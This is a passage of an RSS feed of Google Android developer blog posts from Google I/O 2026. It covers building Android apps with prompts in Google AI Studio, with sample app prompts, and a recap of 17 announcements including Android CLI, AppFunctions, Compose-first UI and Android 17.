workflow</span></h2>
    We have streamlined the entire development lifecycle so you can focus on your idea: </div><div><b><br></b></div><div><b>1. Create your app and iterate in the cloud:</b> Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWOTqLBbAXBibOw5wN_-49Q21RuGxwPjhQESK5r3KctKIPz1uV4dg0_LiK0w6xxdvbLECzMHzQk-kQO9h1VdflTPKi3wM9sKrwZvLcPbtISBnL2H4acnG8gpEuPtbxpDHexKi4S8Eg_hcQv1_dZOCh78pFGi27aiWHMYZc1gsDA_Iq7SRbVRUkHhngrgw/w640-h544/AI_Studio_creation_step_v2.gif"></div><i><div><i>Use the embedded Android Emulator to create and edit Android Apps right in the web browser</i></div></i><div><br></div><b>2.</b> <b>Install instantly: </b>Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHMqfor305bPNhs_X2ahAxG8QmtpxtLKPrq44Uh4q1OpdsZyDlAuIyKJJDk-2v75-ErSLNp8yCyHQZn-6IQ-mkz8mfedEFtEJuD6VILIhtt8ypGpXmRuqM9LoJDDNnn-xrX3_Cr2MRUUcaEhVpJgCsjrjz-kwHHQeIhq8celQjg5Rt5_S5-j-_eSYpYaU/w640-h544/AI_Studio_Install_v2.gif"></div><div><i>Install the app on your Android device</i></div><div><br></div><b>3. Streamlined Publish to Google Play: </b>Using your <a href="https://play.google.com/console/signup">Google Play developer account</a>, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGamXSrq6MNtz-PUt17netBXi_JiOMVERsoYV2mEArG8x5f-zCbU8WwTTaClpruCTsN4o3xeyMylDJLaWe0yCteqZJghc6sEXLYwoLPbTtnoa7761JVR_XEbm2Fj20IX142L2mGzU39vuNwLVVw0bDiSwICFelQZhxO63sG9N3GCo8Xx8wHY6gPEDj8c/w640-h544/AI_Studio_Play_v3.gif"></div><div class="separator"><i>Publish the app to an internal test track in Google Play</i></div>

    <br><div><b>Seamless app development handoff </b></div><div>As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to <a href="https://developer.android.com/studio">Android Studio</a> by downloading a ZIP file or exporting it directly to GitHub.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNTwSv8o6QwB9QYZS_OezD7WhWQZiShTEu5aJz6_oGUfOu-2RQWmANs0jgeC1G1jrsZauVbeWzLHkjoZa_Ai_cjKvgbB_-Qzqh8-obzcNf9zKTJSG4AfvXTogb0xsCxcHRS4P-LHFKk1pm8sTdDjIn8A5b9vX8GRRvHrCvN9_xoPm6hPzN1rct5Aph3Zc/w640-h206/AI_Studio_Download.png"></div><div><span><i>Download zip file of Android app project files</i></span></div><div><span><i><br></i></span></div>When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend <a href="https://developer.android.com/gemini-in-android">Gemini in Android Studio</a>, which features models designed with Android in mind, or Antigravity, which integrates <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.</div><div><h2>Start building today</h2><div>To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:</div><div><ul><li><b>Personal utilities and simple social apps: </b>You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.</li><li><b>Hardware-enabled experiences:</b> Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.</li><li><b>AI-powered experiences: </b>You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.</li></ul></div><h2><span>What’s Next?</span></h2>
    <div>We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:</div><div><ul><li><b>Managing Google Play Test Tracks: </b>Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio. </li><li><b>Firebase integrations: </b>Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.</li></ul></div><div><br></div><div>Head over to <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> right now to start building. Here is some inspiration to get you started… </div><div><br></div><table border="1">
        <tbody><tr>
            <td colspan="2">Turn your Google Pixel Watch into an aviation assistant</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.</div>
            </td>
            <td><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRi7_vRI0TgaUYUE-g6kX-Gbg5Vf8ZVNY0H5n-2p8Ml32hyphenhyphenFvWAjp5re6AWpFKHLv1-rokBy_qfXexN61uQ9bpeDE_1DKfTrY3CkepiZMkNIEC5UlvBYng_OqersnyVS5Nu_zCuJJQ2w4NBaxWDC8duVnC0ILvWEpeg49N7aoJh1z6o_-BJHfBCnZKpz0/s320/wearOS_ai_studio.gif"></div><br></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">Interactive Harmonium app on Google Pixel Fold</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.</div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8hUGuJaj76omAAgO2RqZKZ_qGvgThfE0tKA-99BJ82G2UOw8h1qT5H7sM5C7n_k2tN5CD0LpJyOFor3HefsKarRPmWTo35ltnDihv2MsddEUcZN5t5fgeJWuJ60Y3XCEqqLhd7gkGyAbM6vnGau0PLE8BohPat8lQ-63fQLudrFUVRVpkFUJ9wMFX1oc/w179-h200/Tiny%20Harmonica%20demo.gif"></div></td>
        </tr>
    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">An Android app for guitarists to become better musicians by jamming to backing tracks </td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div><div><span>Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.</span></div><div><span><br></span></div><div><span>The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.</span></div><div><span><br></span></div><div><span>Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.</span></div><div><br></div></div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2pWobL4G7-4deWwvMpRmtfHG1OuXyc_bHwq6fPszYT1Vztm4g_HaN28PVg6Hwd3_N2Qd82HS1QtpUGKCTUFiCuLBwMpcA-8sMC6dJtSDGKEVAaV1kxumYMZi3kTB9NnUIEf9xQPKyyfvKb8MZUyNGnYNAEHTxyHpWCEvN2xgQsj5X09LW_FHU1n0aJQg/w221-h400/guitar_app_AI_Studio.gif"></div></td>
        </tr>
    </tbody></table>

    We are looking forward to seeing what you build next!</div><div><br></div><div>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[17 Things to know for Android developers at Google I/O]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP, Product Management, Android DeveloperToday at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcemen...]]></description>
<link>https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:45 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP7OJeCTRC-RN9j39-rULmU26qB-lZoyIZjjDrq07Z7b5GsfHz3q18ftSgcWReGBgIBkp03B6BVghzWllOC38o4jckzzq-e4a8R23ISeegev98zubhGXbIzhTZaqbCTaPLJC2zkxKYvvNspcM4yXkk94f6PEQHpdyMvlpwogicTWQRn3GEksJHOTQDIG4/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><div class="separator"><div class="separator"><i>Posted by Matthew McCullough, VP, Product Management, Android Developer</i></div></div></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><div><br></div>Today at <a href="https://io.google/2026/">Google I/O,</a> we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also <a href="https://www.youtube.com/live/KvTRMSa1w4E?si=QBAxNvihPwJCJUuS">see what was announced last week</a> in <a href="https://developer.android.com/events/show">The Android Show: I/O Edition</a>. Stay tuned over the next two days as we dive into all of the topics in more detail!<h2><strong><span>Build High Quality Android Apps Using Agents</span></strong></h2>

  <h3><strong><span>1: Android CLI: helping you build with any agent, LLM, and tool</span></strong></h3>
  <a href="https://goo.gle/CLI_IO26">Android CLI is now stable</a>. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new <a href="https://developer.android.com/tools/agents/android-skills">Android skills</a>, which enables agents to execute end-to-end UI tests under your direction. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.    <p><span></span></p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXrW3yDK9uH_I8MDyVxgYbPAXfrNTJvlMkXhaZFrM1X9ob0LvQbGe_ZC6anUeO_VNd181iptI_MIuEEpX-9GZdf6ZTJCN-WHpPzDCLOeSblo8vrjliSZ0rRrHwIsERWBjbbosP-M_WvA2pva9mF5FWVygAwQbdiW3SLZgJj9TpRIruG4H-ILsvSq_b4dc/w640-h442/agy-android-cli%20(2).png"></div><div class="separator"><span><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></span></div><p></p>

  <h3><strong><span>2: Build production-ready apps with ease in Google AI Studio</span></strong></h3>
  Developers and creators can now <a href="http://android-developers.googleblog.com/2026/05/build-android-apps-google-ai-studio.html">build native Android apps, simply with a prompt in Google AI Studio</a>. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.<br><br><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdRaw1v6rolr4alo0C6AWKdFchsMEQgtOGfmk2Ramb0IoOB7smDcVU3yC7YJMkvVQuCPJ9vQW53tQjaV-5wcgOGzMtFDmb_Jbv40an1kvQdqYburXnsONvLqckKL2MWuShi3XmQEstW761oOLjujOk3FMsh3FyAiy5-Pe7xdTwFdfkWOmEnHhQfUJhtCo/w640-h544/image1.gif"></div><i><div class="separator"><i>Use the embedded Android Emulator to create Android apps in Google AI Studio</i></div></i></div><h2><strong><span>3: Accelerating AI coding assistance with Android Bench</span></strong></h2>
  <a href="http://d.android.com/bench">Android Bench</a> is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements. <h3><strong><span>4: Convert iOS apps to Android with the Migration Assistant in Android Studio</span></strong></h3>
  The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>. </div><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK7UKI_nzS7gOkDXYONAjCNbQ4eSqlgT8qqMT5D4qf0OjQUNtxj4Urpq-eTROMEDgrqLKGlwMm_lHA7ayG_BC1DkitQI1ZKsF5gYr-mPIxFUsz_8JPcVHFAtnHZoO2CrVjMEvJrqvBz8_WU1I0T1P2diDprR2B47PcA21oS3RLtbgrhmrpiWV-MAw9ks4/w640-h360/image9%20(1).gif"></div><div class="separator"><i>A sneak peek of the Migration Assistant converting an iOS app into a native Android app</i></div>

  <h2><strong><span>Building AI Into Your Apps</span></strong></h2>

  <h3><strong><span>5: Building Intelligent Apps with generative AI</span></strong></h3>
  Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new <a href="https://goo.gle/ADK_IO26">Agent Development Kit (ADK) for Android</a>, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the <a href="https://developer.android.com/ai">developer documentation</a>, and watch the technical deep dive session where we showcase all these technologies.

  <h3><strong><span>6: Experiment with AppFunctions today</span></strong></h3>
  AppFunctions is an <a href="https://developer.android.com/reference/android/app/appfunctions/package-summary">Android platform API</a> with an accompanying <a href="https://developer.android.com/jetpack/androidx/releases/appfunctions">Jetpack library</a> to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the <a href="http://goo.gle/eap-af">Early Access Program</a> and start experimenting using the <a href="http://d.android.com/ai/appfunctions">API guidance</a>, <a href="https://github.com/android/appfunctions">sample</a>, and <a href="https://github.com/android/skills/blob/main/device-ai/appfunctions/SKILL.md">skill</a> today.

  <h2><strong><span>The Future is Adaptive</span></strong></h2>

  <h3><strong><span>7: Android is now Compose First; Views are now in maintenance mode.</span></strong></h3>
  Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in <a href="http://android-developers.googleblog.com/2026/05/android-ui-development-is-compose-first.html">our blog post</a>. <br><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq9kh5gxOfSdY2w9ZeKdWropXpqP7rj4KtodIZA5B_j7ujQu-blrsQKKC0lI4VEsEycpLEwsZeJhHaNOY1Xe9DrIHDwVszYfQN0GQlwxz8xoVfg1oiIr9zNlUyqqdCl2M7pyHoHgVvC7omKRthmXNaO3GE5Q15XeZ1ALiugszd8qHxpWuHo2Eh79zYW4M/w640-h416/image5.png"></div><div><div><i>Build Android UI with Compose</i></div><h3><strong><span>8: Building seamless Android experiences across devices with Jetpack Compose</span></strong></h3><div>The Android ecosystem is now <a href="https://goo.gle/AdaptiveApps_IO26">Adaptive by Default</a>, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with <a href="https://developer.android.com/googlebook">Googlebook</a> and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. <a href="https://developer.android.com/compose">Jetpack Compose</a> is the definitive engine for this transition, offering core tools like our latest <a href="http://goo.gle/nav3">Jetpack Navigation 3</a> release, new experimental <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid">Grid</a> and <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox">FlexBox</a> layouts, enhanced non-touch input support, and <a href="https://developer.android.com/media/camera/camerax">CameraX</a> for correct camera previews across any window size. Furthermore, new <a href="https://developer.android.com/tools/agents/android-skills">skills</a> in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever.

  <img src="https://blogger.googleusercontent.com/img/a/AVvXsEi3DD3G6IUrmOwYh7bMq0uieBvGL8li2W48YnUfQfa3ZXy2kD7QvPorNfAyCSmFlBs4q0csXDqmZjhyGf8UHFE2pUNjvqxLaaJhmm6QpSBumq2YkMHI1jyiTNfh5WQhEEY9hP6vWhcbbwflygdTwYzoIdnuIqoht0S6iGKk4pVCnxL2wVXYBMBlcdeneD8"><i>Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.</i></div><h3><strong><span>9: Create seamless experiences for Googlebook</span></strong></h3>
  Last week we announced <a href="https://developer.android.com/googlebook">Googlebook</a>, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant <a href="https://developer.android.com/design/ui/desktop">design guidance</a> and <a href="https://developer.android.com/docs/quality-guidelines/adaptive-app-quality/experiences/desktop">developer guidelines</a> for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtH3cjiXICi8dNCtQTDV9PTyjt4wPQBl1xA9XGKGU6FmqLRuBm9YyH7HNQsydD6H6F2GIPw2TdUsFyeu2xMFUO2Jk36k5QXjuWNdm_VE8AQftq2w2m0RPFyYfyZjTppSOjzuOEpJMzF08t9V0YZr-xI7mu31uvcRItugwvVxPUBouSmOXt1MsqbB1WPC0/w640-h360/image3.png"></div><div><div><i>New Desktop Android Emulator</i></div><h3><strong><span>10: Unified widget development experience with Jetpack Glance</span></strong></h3>
  Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow. <br><br>The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.</div><div><br></div><div><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA5s4g4hCW89qdeC2oqrTtxh6q7t9q3-wkOSt3tfVzCT3vhLUd1GMYJrhCjK04O2jyxBGl0R2pclnRq3Kb0f0Td-hV9aukKvZQTfGpGJS6GLK0MqUkpVW_0qiNC1eMGe6NPPhlCHrnQWFYhmbdSzpDnUHh5tjvpmUzZOvY2w_dX1LBnpNctSRmeahXUl4/w640-h320/blog_widgets.gif"></div><div><i>Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.</i></div><div><i><br></i></div><div><strong><span>11: Expand your reach on the road with Android for Cars</span></strong><br>To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized <a href="https://developer.android.com/training/cars/apps/media">templated media apps</a> for both platforms. We're introducing new <a href="https://developer.android.com/design/ui/cars/guides/components/overview">components</a> and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; <a href="https://docs.google.com/forms/d/e/1FAIpQLSf0z4Nfw8wrloVhlgHDpLgdkg4WXsFj9ni5c1pw0qTvJ3Q4fQ/viewform">apply now to the early access program</a> to publish in these beta categories and learn more about the latest updates in our <a href="http://android-developers.googleblog.com/2026/05/android-for-cars-unifying-platforms-premium-experiences.html">blog</a>.<h3><strong><span>12: Accelerate your development with Android XR Developer Preview 4</span></strong></h3>Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with <a href="https://goo.gle/XRSDK_IO26">Developer Preview 4 of the Android XR SDK</a>. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the <a href="https://goo.gle/Catalyst_IO26">Android XR Developer Catalyst Program</a>, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or <a href="https://goo.gle/XRSDK_IO26">read our blog</a> to see how these updates help you build experiences across the ecosystem.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyjbgGH7RwGkOkQLoXeLd88Vo7cXRjHLBSRokBWkzvYQUrqqbfrTXukM1u_SuGq0-AoXRPoGABpCOF-HMad4-aoNvXjTVyNXgGpbffTlSQMbTaXJva1c2GiUBx1fhC4fCCd0XO9XFzKNzs6edNqo0RAx-p2ZNXy0l-StJh7AxhyphenhyphenrXi-lqe-jXL0n8oprs/w640-h360/Aura%20Geospatial%20Tour%20Demo%20-%20Draft%2001%20(1).gif"></div><i><div><i>Early preview of the Geospatial API  in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.</i></div></i><h3><strong><span>13: Android is your new home for professional-grade media experiences</span></strong></h3>
  Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware. <br><br>The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXvjrWhhRUXdYJyhuu-Vnf0UP2jKcYhAvUggZJi10kndrixZdx4cD8HEhrWVmavlxAUT5N025Fx1kgOLJP5w83LDUSR3E9YzfIJUuZ3WBedFSBtI_oLgIcxSOYg-s53obwX_8HtYqfxSaz95LVzSiMAdrrwgL4T6TVETwtxxkZV2mSkkAfvYA681zNlc/w640-h542/supercharge%20(1).gif"></div><div class="separator"><i>Low Light Boost and Magic Eraser in action</i></div><h3><strong><span>14: Increase app discovery and engagement on Google TV</span></strong></h3>
  Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start <a href="https://developer.android.com/training/tv/get-started/hardware#no-touchscreen">declaring support for pointing input</a> to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our <a href="http://android-developers.googleblog.com/2026/05/increase-google-tv-app-discovery.html">blog</a>.</div><div><h3><strong><span>15: Performance: the foundation of a great app experience</span></strong></h3>To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The <a href="https://developer.android.com/r8-analyzer">R8 Configuration Analyzer</a> identifies keep rules that are bloating your binary, while <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/how-to-capture">ProfilingManager</a> and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new <a href="https://developer.android.com/android-performance-analyzer">Android Performance Analyzer</a> offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.     <h2><strong><span>And The Latest on Driving Business Growth </span></strong></h2>

  <h3><strong><span>16: What’s new in Google Play</span></strong></h3>Today's <a href="https://goo.gle/play-io26">updates from Google Play</a> help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console  to pre-populate store listings from imported documents—making global localization effortless. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOB1wGZNYGPgY0ED70X7Dtl2KiFk8kRH4fv3HrXXTWX0-xKkN4Em0mi8QAB0g2w_-4SNcTR4fJazpiQ7XI6-XKeyQniFhULKWNmV8YvyWMuQ9tosvT5ixZ0FOye27DI90R5Tra1eWX3FCX7OrWkgzhvhCD6vtfD8_6-FMfMWDvXoVv3zSTauZwraDGsM4/w640-h360/IO26_BlogInLine_App-discovery-in-Gemini_1920x1080_1605.gif"></div><div><i>Gemini will provide users with app suggestions during a search</i></div>

  <h3><strong><span>17: And of course, Android 17</span></strong></h3>
  Android 17 includes new performance &amp; system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new <a href="https://developer.android.com/about/versions/17/features/contact-picker">contact picker</a> and <a href="https://developer.android.com/reference/android/content/Intent#ACTION_OPEN_EYE_DROPPER">eyedropper API</a> help minimize the use of sensitive permissions and unnecessary access to user data. <br><br>Review <a href="https://developer.android.com/about/versions/17/behavior-changes-all">the behavior changes</a> to make sure your app is ready for Android 17, including <a href="https://developer.android.com/about/versions/17/behavior-changes-all#bg-audio">background audio hardening</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">SMS OTP protection</a>. Get ready to <a href="https://developer.android.com/about/versions/17/behavior-changes-17">target Android 17</a> (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device <a href="https://android-developers.googleblog.com/2026/04/the-fourth-beta-of-android-17.html">in the Beta</a> or using the latest 17.0 emulator images. <br><br>One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

  <h2><strong><span>Check out all of the Android &amp; Play Content at Google I/O </span></strong></h2>
  <p><span face="sans-serif">This was just a preview of some of the updates for Android developers at Google I/O. Tune into <a href="https://io.google/2026/explore/pa-keynote-5">What’s New in Android</a> for the latest news and announcements and <a href="https://io.google/2026/">follow Google I/O</a> for much more over the following week!</span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Building Premium Android Experiences at Google I/O ‘26]]></title>
